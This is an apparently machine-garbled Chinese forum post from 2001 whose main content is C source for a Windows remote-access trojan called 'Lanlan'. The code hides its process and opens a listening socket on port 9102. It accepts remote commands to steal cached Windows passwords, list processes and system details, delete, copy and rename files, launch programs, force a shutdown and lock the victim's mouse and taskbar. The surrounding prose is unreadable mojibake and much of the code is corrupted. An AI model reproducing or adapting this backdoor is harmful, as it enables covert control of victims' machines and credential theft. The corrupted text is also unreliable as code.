script> [id £ o7221] ö ÷ ì £ o ° 3ð'μä »¸ö1/4òμ ¥ Äo.âí
[× ª · ¢ û × × »Ø ¸''ëûûû¹¹¹¹û × ó]
2. ¶4 óú 2001-05-20 19:16:04 1/4 ììùôú
± à3ìàö ô é é à3ìà
Äúèý £ ¨49185bytes £ ©:
Ò »¸ö1/4òμ ¥ Äo.zíáð × ×
× ÷ õõ: 2. ¶44 · ¢ ± íó «± øíå
° 3ð'îõõõ »° ã¶4 ¸3ô''úâ..3¹¹¹1/4ü2¿ · Öíâïà '2 »° ®'òì« ààμμã ÷ ðôîî × ö öªªªª õª õõõõññù
2 å ± ±½½μμ1/14 ê, ¹¹óóää ð ¯ýýó o¹|Äü'ó¿ Éòôè ¥ · êé, Äà, 1/1/1/1½¶ ¶¶1/1/1/1½êï¸.
Õàï ¸øáò »¸ö ° 3óãò21/2Socket · 1/2 ö ö ± 1/2 óμ ÷ óãwinsock API, Win SDkð'μä¾4â (VC, C Builderïââ ±òë, μ ÷ êô¹¹), þþþë¿ Í »§¶ë, ± àòoó ó2å1/4 ¸ê®k.êμïöáëð © ö μ μ ª¹ á᪹,, îï1« ¯ ¯à (3/4ùöö3öíâô (), ¸ä ä û $ 44, »ñè¡ Ïμí3ðåï ¢,'ócacheè¡¡ Ãâë, ö'ðîîä1/4 þ, ïô4/41/4111, · ¢ ëíûûû ¢, ¹¹ »,» ¹¹¹ð © Øö¹ ¹|Äü, Win 9X, NT / 2000 â//4 ¿¿ ɹ¹óã, ôúnt, 2000ïâ, òò¿ 1/4 çμ½¸çcû »ò2»'æô,, äçã'3ìðò 1/2 «oáþþþ''|. Ëùòò þ ¢» óðμ ÷ óããdd ààààμμμμ³ óã ó, «2¿ Óé × //4oà '× ö, win apiêμïööªðª × (ª¼ððòí × ¼//////3ìððòí ¨óã¾²2 »ªªª â 3.2 ¨òéäð ð © óãö³³¿ Ø1/4þþ' ä////4þþççí ¨ñ¶μμäóóñ| ¸¿ '¿ ', È ¥ ±ìùùð ±ççùííçç ¨ í¨ñ · · 1/2ãæ.èç¹û¹ûêêç¸ö³³ððòô ± ±òïë'ó¿ É2 »± Øóãòò¶àμ, ôú¿ ª · ¢ öð ° 3 »¹¹» 1/4û¹û¹ää¼¼ «ë/4èã ãï³3éàà (mfc, vcl) à '× öμÄ.
'Ë3ìðò »¹2» oü1/2¡ × 3, ð'íêoóò2ã »à'μ ༼ ° óå» ¯, ö ÷ ªªªçä¤àà¤''ówinsockoíwin sdk ± à3ì.
/ / -------------------------------------------------------------------------------------------- ---------------------------
// Winsock API, Win SDK ± à3ì, þþþè¿ Í »§¶ë
//
// × ÷ õõ: 1/4 ×
/ / -------------------------------------------------------------------------------------------- ---------------------------
#include
#include
#include
#pragma HDRSTOP
#include
#pragma argsused
#define run "//winmon32.exe"
// × ¢ 2á · þþñ
#define service_proc 1
// ð¶ô · · þþñ
#define unservice_proc 0
#define TH32CS_SNAPPROCESS 0x00000002
#define process_handle_name 255
// »o3åçø3 ¤è
#define dwbuffsize 2048
// áîðð3¤¤è
#define dwcomm 50
#define port 9102
#define WM_Socket WM_USER 1 # define prompt "lanlan: //>"
DWORD DWVERSION = MakeWord (1, 1);
DWORD dwflag = true;
Wsadata wsadata;
Socket Createsock, Newsock;
SockAddr_in sock_in, news_in;
LPTSTSTSTSTSTSTSTSZREADBUFF, OB, TEMPBUFF
Int addrlen;
// Cache Password 1//CHE Password
Typedef struct tagpassword_cache_entry {
Word cbentry;
Word cbResource;
Word cbpassword;
Byte IEntry;
BYTE NTYPE;
CHAR ABRESOURCE [1];
Password_cache_entry;
TypeDef Bool (WinAPI * CacheCallback) (Password_cache_entry * PCE, DWORD);
// Cache Passwordo ¯êýôîîî
TypedEf Word (WinApi * Pwnetenumcachedpasswords)
LPSTR PBPREFIX,
DWORD CBPREFIX,
DWORD NTYPE,
Cachecallback Pfncallback,
DWORD UNKNOWN
);
// TOOLHELP32 1/2? ¹¹
Typedef struct tagprocessentry32
{
DWORD DWSIZE;
DWORD CNTUSAGE;
DWORD TH32PROCESSID;
DWORD TH32DEFAULTHEAPID;
DWORD TH32MODULEID;
DWORD CNTTHREADS;
DWORD TH32PARENTPROCESSID;
Long pcpriclassbase;
DWORD DWFLAGS;
Tchar szexefile [max_path];
} Processry32;
TypedEf Processentry32 * LPPROCESSENTRY32;
// ¨ ¨òttoolhelp32, psapio ¯êýö õõõ
Handle (WinApi * CreateToolhelp32Snapshot) (DWORD TH32PD);
Bool (WinAPI * Process32First) (Handle Hsnapshot, LPPROCESSENTRY32 PE);
Bool (WinApi * Process32Next) (Handle Hsnapshot, LPPROCESSENTRY32 PE);
Bool (WinApi * Enumprocesses) (DWORD * LPIDPROCESS, DWORD CB, DWORD * CBNEEDED);
DWORD (WinApi * getModuleFileNameExa) (HMODULE HMODULE, LPTSTSTSTSTSTRFILENAME, DWORD NSIZE);
Hinstance dllinst;
DWORD (WinApi * RegisterServiceProcess) (DWORD, DWORD);
/ / -------------------------------------------------------------------------------------------- ---------------------------
// Getos
// åð¶ï2ù × × ïμí3
/ / -------------------------------------------------------------------------------------------- ---------------------------
DWORD WINAPI Getos ()
{
OsversionInfo OS;
TCHAR SVERSION [MAX_PATH]; Os.dwosversionInfosize = SizeOf (OsversionInfo);
GetversionEx (& OS);
Switch (Os.dwplatformID)
{
Case Ver_Platform_Win32_Windows:
RETURN VER_PLATFORM_WIN32_WINDOWS;
Case Ver_Platform_WIN32_NT:
RETURN VER_PLATFORM_WIN32_NT;
}
}
/ / -------------------------------------------------------------------------------------------- ---------------------------
// hideproc
// × ¢ ² ½½½½3ì
/ / -------------------------------------------------------------------------------------------- ---------------------------
Bool WinApi HideProc (int mode)
{
Dllinst = loadingLibrary ("kernel32.dll");
IF (dllinst)
{
RegisterServiceProcess = (DWORD (WINAPI *) (DWORD, DWORD))
GetProcaddress (Dllinst, "RegisterServiceProcess");
IF (RegisterServiceProcess)
{
RegisterServiceProcess (GetCurrentProcessid (), MODE
Return True;
}
Else
Return False;
}
Else Return False;
}
/ / -------------------------------------------------------------------------------------------- ---------------------------
// enumprocess
// ã¾4ù1/2ø3ì
/ / -------------------------------------------------------------------------------------------- ---------------------------
// 3õõ1/4 »¯toolhelp32
BOOL INITTOOLHELP32 ()
{
Hinstance dllinst = loadingLibrary ("kernel32.dll");
IF (dllinst)
{
CreateToolhelp32Snapshot = (Handle (WinAPi *) (DWORD DWFLAGS, DWORD TH32PD))
GetProcaddress (Dllinst, "CreateToolhelp32Snapshot");
Process32first = (Bool (WinAPi *) (Handle Hsnapshot, LPPROCESSENTRY32 PE))
GetProcaddress (Dllinst, "Process32First");
Process32next = (Bool (WinApi *) (Handle Hsnapshot, LPPROCESSENTRY32 PE))
GetProcaddress (Dllinst, "Process32Next");
IF ((! (uint) CreateToolhelp32Snapshot) || (! (! (uint) process32first) || (! (! (uint) process32next))
Return False;
Else
Return True;
}
Return False;
}
// 3õõ1////////31/4 »¯PSAPI
Bool initpsapi ()
{
Hinstance PSAPI = LoadLibrary ("psapi.dll");
IF (NULL == PSAPI) Return False;
Enumprocesses = (Bool (WinApi *) (DWORD * LPIDPROCESS, DWORD CB, DWORD * CBNEEDED)
GetProcaddress (PSAPI, "Enumprocesses";
GetModuleFileNameExa = (DWORD (WinApi *) (HModule Hmodule, LPTSTSTR LPSTRFILENAME, DWORD NSIZE))
GetProcaddress (PSAPI, "GetModuleFileNameExa);
IF (NULL == Enumprocesses || null == getModuleFileName)
Return False;
Else
Return True;
}
Void WinApi Enumprocess ()
{
Handle Process [255];
Processentry32 P32;
DWORD process_ids [255];
DWord Num_Processes;
Tchar file_name [max_path];
Tchar sztemp [max_path];
UNSIGNED I;
WSPrintf (Sztemp, "/ N / N / R << process file name >> / n / N / r");
Send (Newsock, Sztemp, Lstrlen (SzTemp), 0);
Switch (Getos ())
{
Case Ver_Platform_Win32_Windows:
IF (InitToolHelp32 ())
{
P32.dwsize = sizeof (Processentry32);
Handle PNAME = CreateToolHelp32Snapshot (TH32CS_SNAPPROCESS, NULL);
Bool next = process32first (PNAME, & P32);
i = 0;
While (Next)
{
WSPrintf (Sztemp, "Process FileName:% s /n/r" ,p32.szexefile);
Send (Newsock, Sztemp, Lstrlen (SzTemp), 0);
Process [i] = openprocess (Process_Terminate, 0, P32.th32Processid);
Next = process32next (PNAME, & P32);
i ;
}
CloseHandle (PNAME);
}
Break;
Case Ver_Platform_WIN32_NT:
IF (initpsapi ())
{
Enumprocesses (Process_IDS, SIZEOF (Process_ids), & num_processes);
For (i = 0; i { Process [i] = openprocess (Process_Query_Information | Process_VM_READ , 0, Process_IDS [I]); IF (GetModuleFileNameExa (Process [i], null, file_name, sizeof (file_name))) WSPRINTF (SzTemp, "Process FileName:% S / N / R", File_Name); Send (Newsock, Sztemp, Lstrlen (SzTemp), 0); } CloseHandle (Process); } Break; } } / / -------------------------------------------------------------------------------------------- --------------------------- // getCachePW // è¡ Cacheãüâë / / -------------------------------------------------------------------------------------------- --------------------------- Bool Callback getPass (Password_cache_entry * PCE, DWORD) { MoveMemory (SzreadBuff, PCE-> Abresource, PCE-> CBRESOURCE); SzreadBuff [PCE-> cbResource] = 0; Chartooem (SzreadBuff, OB); WSPrintf (Tempbuff, "/ N / N / R (UserName):% S / N / R (Password):", OB) MoveMemory (SzreadBuff, PCE-> Abresource PCE-> CBRESOURCE, PCE-> CBPassword); SzreadBuff [PCE-> Cbpassword] = 0; Chartooem (SzreadBuff, OB); LSTRCAT (TEMPBUFF, OB); Send (Newsock, Tempbuff, dwbuffsize, 0); Return True; } Bool WinAPI getCachePW () { Tchar sztemp [max_path]; PWNETENUMCECHEDPASSWORDS WNETENUMCASSWORDS; Hinstance Dllinst = loadingLibrary ("mpr.dll"); IF (! DLLINST) { Return False; } WSPRINTF (SzTemp, "/ N / N / R << Win 9X Cache Password >> / N / R"); Send (Newsock, Sztemp, Lstrlen (SzTemp), 0); WneetenumcachedPasswords = (PWNETENUMCACHEDPASSWORDS) GetProcadDress (Dllinst, "WneetenumCachedPasswords"); IF (! WneetenumcachedPasswords) { Return False; } Else { SzreadBuff = (LPTSTSTSTSTSTSTSTSTHAPALLOC (getProcessheap (), Heap_zero_memory, dwbuffsize; OB = (lptstr) HeapAlloc (getProcessheap (), Heap_zero_memory, dwbuffsize Tempbuff = (lptstr) Heapalloc (getProcessHeap (), Heap_zero_memory, dwbuffsize; WneetenumCachedPasswords (0,0,0xff, getpass, 0); HeapFree (getProcessheap (), dwbuffsize, szreadbuff); HeapFree (getProcessheap (), dwbuffsize, ob); HeapFree (getProcessheap (), dwbuffsize, tempbuff); Freelibrary (DLLINST); } Return True; } / / -------------------------------------------------------------------------------------------- --------------------------- // loadProcess // ö'ðîîä1/4 þ / / -------------------------------------------------------------------------------------------- --------------------------- Bool Winapi LoadProcess (LPCTSTST SZFILENAME) { Startupinfo Si; Process_information pi; ZeromeMory (& Si, SIZEOF (STARTUPINFO)); ZeromeMory (& Pi, SIZEOF (Process_Information)); Si.cb = sizeof (startupinfo); Si.dwflags = startf_useshowwindow; Si.WShowWindow = sw_shownormal; IF (CreateProcess (SZFileName, Null, Null, Null, False, 0, Null, Null, & Si, & Pi) == FALSE) { Return False; } Return True; } / / -------------------------------------------------------------------------------------------- --------------------------- // DIR // äàààîä, ö§3öí3åä · û / / -------------------------------------------------------------------------------------------- --------------------------- Void WinAPI Dir (LPCTSTR LPARAM) { WIN32_FIND_DATA WFD; Handle Hhandle; Tchar SzFileName [MAX_PATH]; INT I; WSPrintf (SZFileName, "/ N / N / R"); Send (Newsock, SzFileName, Lstrlen (SzFileName), 0); LSTRCPY (SZFileName, LPARAM); IF ((HHANDE = FindFirstFile (SzFileName, & WFD))! = INVALID_HANDLE_VALUE) { DO { Switch (wfd.dwfileamtributes) { Case file_attribute_archive: IF (wfd.nfilesizehigh == 0) WSPRINTF (SZFileName, "% - 20S% 10lu Archive / N / R", Wfd.cfileName, Wfd.nFileSizeLow; Else WSPRINTF (SZFileName, "% - 20S% 10lu Archive / N / R", Wfd.cfileName, Wfd.nFileSizehigh wfd.nfilesizelow); Send (Newsock, SzFileName, Lstrlen (SzFileName), 0); Break; Case file_attribute_directory: WSPrintf (SZFileName, "% - 20S% 10lu
Send (Newsock, SzFileName, Lstrlen (SzFileName), 0);
Break;
Case file_attribute_hidden:
IF (wfd.nfilesizehigh == 0)
WSPRINTF (SZFileName, "% - 20S% 10lu Archive / N / R", Wfd.cfileName, Wfd.nFileSizeLow;
Else
WSPRINTF (SZFileName, "% - 20S% 10lu Archive / N / R", Wfd.cfileName, Wfd.NFileSizehigh wfd.nfilesizelow); Send (Newsock, SzFileName, Lstrlen (SzFileName), 0);
Break;
Case file_attribute_readonly:
IF (wfd.nfilesizehigh == 0)
WSPRINTF (SZFileName, "% - 20S% 10lu Archive / N / R", Wfd.cfileName, Wfd.nFileSizeLow;
Else
WSPRINTF (SZFileName, "% - 20S% 10lu Archive / N / R", Wfd.cfileName, Wfd.nFileSizehigh wfd.nfilesizelow);
Send (Newsock, SzFileName, Lstrlen (SzFileName), 0);
Break;
Case file_attribute_system:
IF (wfd.nfilesizehigh == 0)
WSPRINTF (SZFileName, "% - 20S% 10lu Archive / N / R", Wfd.cfileName, Wfd.nFileSizeLow;
Else
WSPRINTF (SZFileName, "% - 20S% 10lu Archive / N / R", Wfd.cfileName, Wfd.nFileSizehigh wfd.nfilesizelow);
Send (Newsock, SzFileName, Lstrlen (SzFileName), 0);
Break;
}
WHILE (FindNextFile (HHHANDLE, & WFD));
}
Else
{
WSPrintf (SZFileName, "Can Not Find Directory or Files./N/R");
Send (Newsock, SzFileName, Lstrlen (SzFileName), 0);
}
}
/ / -------------------------------------------------------------------------------------------- ---------------------------
// FileOpertion
// î äþ þ2ù × o ¯êý
/ / -------------------------------------------------------------------------------------------- ---------------------------
Bool WinAPI FileOpertion (LPCTSTSTSTSTSTSZZFILENAME2, DWORD OPT)
{
SHFileOpstruct SHF;
TCHAR SR [MAX_PATH];
TCHAR DE [MAX_PATH];
LSTRCPY (SR, SZFileName1);
SR [lstrlen (sr) 1] = '/ 0';
Lstrcpy (de, szfilename2);
DE [LSTRLEN (DE) 1] = '/ 0';
ZeromeMory (& SHF, SIZEOF (SHF));
SHF.HWND = NULL;
SHF.WFUNC = OPT;
SHF.PFROM = SR;
SHF.pto = de;
SHF.fflags = fof_allowundo | FOF_SILENT | FOF_FILESONLY | FOF_MULTIDESTFILES
| Fof_noconfirmation | FOF_NOCONFIRMMKDIR;
SHFILEOPERATION (& SHF))
Return False;
Else
Return True;}
/ / -------------------------------------------------------------------------------------------- ---------------------------
// delete
// é//2ýîîä1/////3ý2ø, ö »¶á), Ä¿ $ 44, ö³3öí3åä · û
/ / -------------------------------------------------------------------------------------------- ---------------------------
Void WinApi Delete (LPCTSTR LPARAM)
{
IF (! FileOpertion (LPARAM, ", FO_DELETE))
Send (Newsock, "Delete File IS Fail", 20, 0);
Else
Send (Newsock, "Delete File IS OK", 17, 0);
}
/ / -------------------------------------------------------------------------------------------- ---------------------------
// COPY
// ¸'ö,, éï' «, ïôøîä1/4« (ðèïè1/2 «× × × (× ¼¼²2åìéèöªªªíêè« ¹2ï), ö§3öí3åä · û
/ / -------------------------------------------------------------------------------------------- ---------------------------
Void WinAPI Copy (LPCTSTR LPARAM1)
{
IF (! FileOpertion (lParam1, LPARAM2, FO_COPY))
Send (Newsock, "Copy File IS Fail", 18, 0);
Else
Send (Newsock, "Copy File IS OK", 15, 0);
}
/ / -------------------------------------------------------------------------------------------- ---------------------------
// Ren
// îä1///////10, Ä¿ To 44ööãããû
/ / -------------------------------------------------------------------------------------------- ---------------------------
Void WinApi Ren (LPCTSTSTR LPARAM1)
{
IF (! FileOpertion (LPARAM1, LPARAM2, FO_RENAME))
Send (Newsock, "Renname File IS Fail", 21,0);
Else
Send (Newsock, "ReanMe File IS OK", 18, 0);
}
/ / -------------------------------------------------------------------------------------------- ---------------------------
// getSysInfo
// »ñè¡ Ïμí3ðåï ¢
/ / -------------------------------------------------------------------------------------------- ---------------------------
Void WinApi getsysinfo ()
{
Tchar szbuff [MAX_PATH];
Tchar sztemp [max_path];
WSPRINTF (SZBuff, "/ N / N / R << System Information >> / N / N / R");
Send (Newsock, SzBuff, Lstrlen (SzBuff), 0);
// 1/4æëã »û
DWORD LEN = SizeOf (SzTemp);
GetComputername (SzTemp, & Len);
WSPrintf (SZBuff, "Computer Name:% S / N / N / R", SZTEMP; Send (Newsock, SzBuff, Lstrlen (SZBuff), 0);
// μ ± ç ° 2ù × ÷ ïμí3
Switch (Getos ())
{
Case Ver_Platform_Win32_Windows:
LSTRCPY (SzTemp, "Windows 9x");
Break;
Case Ver_Platform_WIN32_NT:
LSTRCPY (SzTemp, "Windows NT / 2000");
Break;
}
WSPrintf (SZBuff, "Option System:% S / N / N / R", SZTEMP);
Send (Newsock, SzBuff, Lstrlen (SzBuff), 0);
// Äúèèýá¿
MemoryStatus Mem;
Mem.dwlength = SizeOf (MEM);
GlobalMemoryStatus (& MEM);
WSPrintf (SZBuff, "Total Memroy:% DM / N / N / R", Mem.dwtotalphys / 1024/1024 1);
Send (Newsock, SzBuff, Lstrlen (SzBuff), 0);
// ïμí3ä¿ Astuff
Tchar Szpath [MAX_PATH];
GetWindowsDirectory (Sztemp, SizeOf (SzTemp));
GetSystemDirectory (SZBuff, Sizeof (SZBuff));
WSPRINTF (Szpath, "Windows Directory:% S / N / N / RSYSTEM DIRECTORY:% S / N / N / R", SZTEMP, SZBUFF;
Send (Newsock, Szpath, Lstrlen (Szpath), 0);
// çý¶¯æ ÷ 1/4 ° · öçøà ðí
Tchar SzFileSys [10];
For (int i = 0; i <26; i)
{
WSPrintf (SzTemp, "% C: //", 'A' i);
Uint utype = getDriveType (sztemp);
Switch (UTYPE)
{
Case drive_fixed:
GetVolumeInformation (sztemp, null, null, null, null, null, szfilesys, max_path);
WSPrintf (SZBuff, "Hard Disk:% S (% s) / n / n / r", sztemp, szfilesys;
Send (Newsock, SzBuff, Lstrlen (SzBuff), 0);
Break;
Case drive_cdrom:
WSPrintf (SZBuff, "CD-ROM Disk:% S / N / N / R", SZTEMP);
Send (Newsock, SzBuff, Lstrlen (SzBuff), 0);
Break;
Case Drive_Remote:
GetVolumeInformation (sztemp, null, null, null, null, null, szfilesys, max_path);
WSPrintf (SZBuff, "Network Disk:% S (% s) / N / N / R", SzTemp, SzFileSys;
Send (Newsock, SzBuff, Lstrlen (SzBuff), 0);
Break;
}
}
}
/ / -------------------------------------------------------------------------------------------- ---------------------------
// EXITWIN
// ¹Ø ± 1///// õ ±õõõ »ú (Win 9X, NT / 2000) // --------------------------------- ------------------------------------------
Void WinApi EXITWIN ()
{
DWORD DWVER;
Handle HProcess, HTOKEN
Token_privileges newstate;
DWORD processID, returnitionth = 0;
Luid LuidPrivilegeluid;
DWVER = Getos ();
IF (dWver == ver_platform_win32_windows)
EXITWINDOWSEX (1,0);
Else if (dwver == ver_platform_win32_nt)
{
Processid = getCurrentProcessId ();
HProcess = OpenProcess (process_all_access, false, processid;
OpenProcessToken (HProcess, Token_adjust_privileges, & htokeen);
Lookuppprivilerage (NULL, SE_SHUTDOWN_NAME, & LuidprivileGeluid);
NEWSTATE.PRIVILEGECOUNT = 1;
NewState.privileges [0] .luid = LuidPrivileGEluId;
Newstate.privileges [0] .attributes = se_privilege_enable;
IF (AdjustTokenPrivilegeg (HToken, False, & NewState, Null, Null, Null)
EXITWINDOWSEX (EWX_FORCE | EWX_Poweroff, 0);
}
}
/ / -------------------------------------------------------------------------------------------- ---------------------------
// ctrlcd
// ¹ççý¿ Øö
/ / -------------------------------------------------------------------------------------------- ---------------------------
Void WinAPI Ctrlcd (HWND HWND, BOOL CTRL)
{
Switch (ctrl)
{
Case True:
McIndstring ("Set Cdaudio Door Open Wait", NULL, 0, HWND);
Break;
Case False:
MCISENDSTRING ("Set Cdaudio Door Closed Wait", NULL, 0, HWND);
Break;
}
}
/ / -------------------------------------------------------------------------------------------- ---------------------------
// POPMSG
// · ¢ ëíûûû ¢
/ / -------------------------------------------------------------------------------------------- ---------------------------
Void WinApi Popmsg (LPCTSTSTSTSTATION, HWND HWND)
{
MessageBox (hwnd, message, "popmsg", mb_ok);
}
/ / -------------------------------------------------------------------------------------------- ---------------------------
// ChangeDir
// ¸ä ± Äμ ± ± ° Ä¿ Astuff
/ / -------------------------------------------------------------------------------------------- --------------------------- BOOL WINAPI CHANGEDIR (LPCTSTR SZDIR)
{
IF (SETCURRENTDIRECTORY (SZDIR))
Return True;
Else
Return False;
}
/ / -------------------------------------------------------------------------------------------- ---------------------------
// getCurpath
// μãμ1/2μLED ± ± Ä¿ Astuff
/ / -------------------------------------------------------------------------------------------- ---------------------------
Void WinApi getCurpath ()
{
TCHAR LPBUFF [MAX_PATH];
Tchar sztemp [max_path];
GetCurrentDirectory (max_path, lpbuff);
WSPRINTF (Sztemp, "CurrentDirect:% S / N / R", LPBUFF);
Send (Newsock, Sztemp, Lstrlen (SzTemp), 0);
}
/ / -------------------------------------------------------------------------------------------- ---------------------------
// hssys
// ïô¾3/4, þþ2ø × àãæ, èîîññ
/ / -------------------------------------------------------------------------------------------- ---------------------------
Void WinApi Hssys (HWND HWND, BOOL CTRL)
{
Switch (ctrl)
{
Case False:
HWnd = FindWindow ("Progman", NULL);
Showwindow (hwnd, sw_hide);
HWnd = findwindow ("shell_traywnd", null;
Showwindow (hwnd, sw_hide);
Break;
Case True:
HWnd = FindWindow ("Progman", NULL);
ShowWindow (hwnd, sw_show);
HWnd = findwindow ("shell_traywnd", null;
ShowWindow (hwnd, sw_show);
Break;
}
}
/ / -------------------------------------------------------------------------------------------- ---------------------------
// Lockmk
// ëض ¨êó ±ê, ¹|Äü filter
/ / -------------------------------------------------------------------------------------------- ---------------------------
Void WinApi Lockmk (Bool Ctrl)
{
Rect RC;
Switch (ctrl)
{
Case True:
ZeromeMory (& RC, SIZEOF (RC));
Clipcursor (& RC);
SystemParametersInfo (Spi_Screensaverrunning, True, NULL, 0);
SystemParametersInfo (Spi_setfasttaskswitch, True, NULL, 0);
Break;
Case False:
Clipcursor (NULL);
SystemParametersInfo (SPI_Screensaverrunning, False, NULL, 0);
SystemParametersInfo (SPI_SETFASTSKSWITCH, FALSE, NULL, 0); BREAK;
}
}
/ / -------------------------------------------------------------------------------------------- ---------------------------
// Execommand
// ö'ðãããüîî
/ / -------------------------------------------------------------------------------------------- ---------------------------
Void Execommand (LPCTSTR SZCommand, HWND HWND)
{
Tchar Szbuf [MAX_PATH];
TCHAR param1 [100];
TCHAR param2 [100];
INT I;
IF ((LSTRCMP (SZCommand, "GetPW")) == 0)
GetCachePW ();
Else IF ((LSTRCMP (SZCommand, "GetInfo")) == 0)
Getsysinfo ();
ELSE IF ((LSTRCMP (SZCommand, "GCPATH") == 0)
GetCurpath ();
ELSE IF ((LstrCMP (SZCommand, "OpenCD")) == 0)
Ctrlcd (hwnd (hwnd, true);
Else IF ((LSTRCMP (SZCommand, "CloseCD")) == 0)
Ctrlcd (hwnd, false);
Else IF ((LSTRCMP (SZCommand, "Showsys") == 0)
Hssys (hwnd, true);
Else IF ((lstrcmp (szcommand, "hidesys") == 0)
Hssys (hwnd, false);
Else IF ((LSTRCMP (SZCommand, "Lockmk") == 0)
LOCKMK (TRUE);
Else IF ((LSTRCMP (SZCommand, "UNLOCK")) == 0)
Lockmk (False);
Else IF ((LSTRCMP (SZCommand, "DPROC") == 0)
ENUMPROCESS ();
ELSE IF ((Lstrcmp (Szcommand, "EXITWIN")) == 0)
EXITWIN ();
ELSE IF ((Strncmp (Szcommand, "Popmsg", LSTRLEN ("Popmsg"))) == 0)
{
IF (lstrlen (szcommand) <= lstrlen ("popmsg") 2)
{
Send (Newsock, "USAGE: POPMSG Message", 28, 0);
}
For (i = lstrlen ("popmsg") 1; i IF (SZCommand [I] == ') Break; IF (i == lstrlen (szcommand)) { LSTRCPY (param1, szcommand lstrlen ("popmsg") 1); POPMSG (param1, hwnd); } } ELSE IF ((Strncmp (Szcommand, "Execfile", LSTRLEN ("Execfile")) == 0) { IF (lstrlen (szcommand <= lstrlen ("execfile") 2) { Send (Newsock, "Usage: Execfile Szfilename", 28, 0); } For (i = lstrlen ("execfile") 1; i IF (SZCommand [I] == ') Break; IF (i == lstrlen (szcommand)) { Lstrcpy (param1, szcommand lstrlen ("execfile") 1); IF (loadProcess (param1) == false) Send (Newsock, "Execfile Fail", 14, 0); Else Send (Newsock, "Execfile OK", 11, 0); } } ELSE IF ((Strncmp (Szcommand, "CD", LSTRLEN ("CD")) == 0) { IF (lstrlen (szcommand) <= lstrlen ("cd") 2) { Send (Newsock, "CD Drive // Directory, 19, 0); } For (i = lstrlen) 1; i IF (SZCommand [I] == ') Break; IF (i == lstrlen (szcommand)) { LSTRCPY (param1, szcommand lstrlen) 1); ChangeDir (param1) == false) Send (Newsock, "Change Directory Fail", 21, 0); Else Send (Newsock, "Change Directory OK", 19, 0); } } Else IF ((Strncmp (Szcommand, "DIR", LSTRLEN ("DIR")) == 0) { IF (lstrlen (szcommand) <= lstrlen ("dir") 2) { DIR ("*. *"); } For (i = lstrlen ("dir") 1; i IF (SZCommand [I] == ') Break; IF (i == lstrlen (szcommand)) { LSTRCPY (param1, szcommand lstrlen ("dir") 1); DIR (param1); } } ELSE IF ((Strncmp (Szcommand, "DEL", LSTRLEN ("DEL"))) == 0) { IF (lstrlen (szcommand) <= lstrlen ("del") 2) { Send (Newsock, "USAGE: DEL SZFILENAME", 28, 0); For (i = lstrlen ("del") 1; i IF (SZCommand [I] == ') Break; IF (i == lstrlen (szcommand)) { Lstrcpy (param1, szcommand lstrlen ("del") 1); Delete (param1); } } ELSE IF ((Strncmp (Szcommand, "Copy", LSTRLEN ("Copy")) == 0) { IF (lstrlen (szcommand <= lstrlen ("copy") 2) { Send (Newsock, "Usage: Copy Drive // FileName", 28, 0); Return; } For (i = lstrlen ("copy") 1; i IF (SZCommand [I] == ') Break; IF (i == lstrlen (szcommand)) { LSTRCPY (param1, szcommand lstrlen ("copy") 1); LSTRCPY (param2, "); Send (Newsock, "Copy File1 To File2", 19, 0); } Else { LSTRCPY (SZBUF, SZCommand); SZBUF [I] = 0; LSTRCPY (param1, szbuf lstrlen ("copy") 1); LSTRCPY (param2, szbuf i 1); Copy (Param1, Param2); } } ELSE IF ((Strncmp (Szcommand, "Ren", LSTRLEN ("Ren")) == 0) { IF (lstrlen (szcommand <= lstrlen ("ren") 2) { Send (Newsock, "Usage: Ren Drive // FileName", 28, 0); Return; } For (i = lstrlen ("ren") 1; I IF (SZCommand [I] == ') Break; IF (i == lstrlen (szcommand)) { LSTRCPY (param1, szcommand lstrlen ("ren") 1); LSTRCPY (param2, "); Send (Newsock, "Ren File1 To File2", 19, 0); } Else { LSTRCPY (SZBUF, SZCommand); SZBUF [I] = 0; LSTRCPY (param1, szbuf lstrlen ("ren") 1); LSTRCPY (param2, szbuf i 1); Ren (PARAM1, PARAM2); } } Else Send (Newsock, "Bad Command !!!", 16, 0); } / / -------------------------------------------------------------------------------------------- --------------------------- // INITSOCKET // 3õõ1/4 »¯socket / / -------------------------------------------------------------------------------------------- ---------------------------- Bool WinAPI INITSOCKET (HWND HWND) { IF ((WSAStartup (dwversion, & wsadata))! = 0) { MessageBox (hwnd, "init socket error", null, mb_ok); Return False; } CreateSock = Socket (AF_INET, SOCK_STREAM, 0); IF (createSock == Socket_ERROR) { CloseSocket (Createsock); MessageBox (hwnd, "socket error", null, mb_ok); Return False; } SOCK_IN.SIN_FAMILY = AF_INET; SOCK_IN.SIN_PORT = HTONS (port); Sock_in.sin_addr.s_un.s_addr = HTONL (INADDR_Any); Setsockopt (Createsock, SOL_Socket, SO_REUSEADDR, (LPSTR) & dwflag, sizeof (dwflag)); IF (Bind (Createsock, (LPSOCKADDR) & Sock_in, SizeOf (Sock_IN)) == Socket_ERROR) { CloseSocket (Createsock); MessageBox (HWND, "Bind Error", NULL, MB_OK; Return False; } Else IF (Listen (Createsock, 3) == Socket_ERROR) { CloseSocket (Createsock); MessageBox (HWnd, "Listen Error", NULL, MB_OK; Return False; } Else IF (Wsaasyncselect (Createsock, Hwnd, WM_Socket, FD_ACCEPT | FD_CLOSE) == Socket_ERROR) { CloseSocket (Createsock); MessageBox (hwnd, "wsaselect error", null, mb_ok); Return False; } Addrlen = Sizeof (SockAddr_in); Return True; } / / -------------------------------------------------------------------------------------------- --------------------------- Lresult Callback WndProc (HWND HWND, UINT MESSAGE, WPARAM WPARAM, LPARAM LPARAM) { Static tchar szcommand [dwcomm]; Static tchar szexec [dwcomm]; Switch (Message) { Case WM_Socket: IF (WsagetSelectError (LPARAM)) { CloseSocket (WPARAM); Break; } Switch (WsagetSelectEvent (LPARAM)) { // ¬¬1/1 Case FD_Accept: Newsock = accept (Createsock, (LPSOCKADDR) & newsock_in, & addressd; wsaasyncselect (newsock, hwnd, wm_socket, fd_read | fd_write | fd_close); WSPrintf (SZCommand, "Lanlan Ver 1.0 Write By Virus / N / N / R% S", Prompt); Send (Newsock, Szcommand, DWComm, 0); Break; // ¶áè¡ Êäèë £ ¬¬çêç »Ø3μôòö'ððãããî / / 2 »ç1/2« äë ¸'öμμ1/2 »o3åçø Case FD_READ: ZeromeMory (SZCommand, dwcomm); Recv (Newsock, SZCommand, DWcomm, 0); IF (SZCommand [0] == VK_RETURN) { WSPrintf (SZCommand, "/ N / N / R% S", Prompt); Send (Newsock, Szcommand, DWComm, 0); Execommand (SZEXEC, HWND); ZeromeMory (SZEXEC, DWCOMM); } Else LSTRCAT (SZEXEC, SZCOMMAN); Send (Newsock, Szcommand, DWComm, 0); Break; Case FD_Close: CloseSocket (WPARAM); 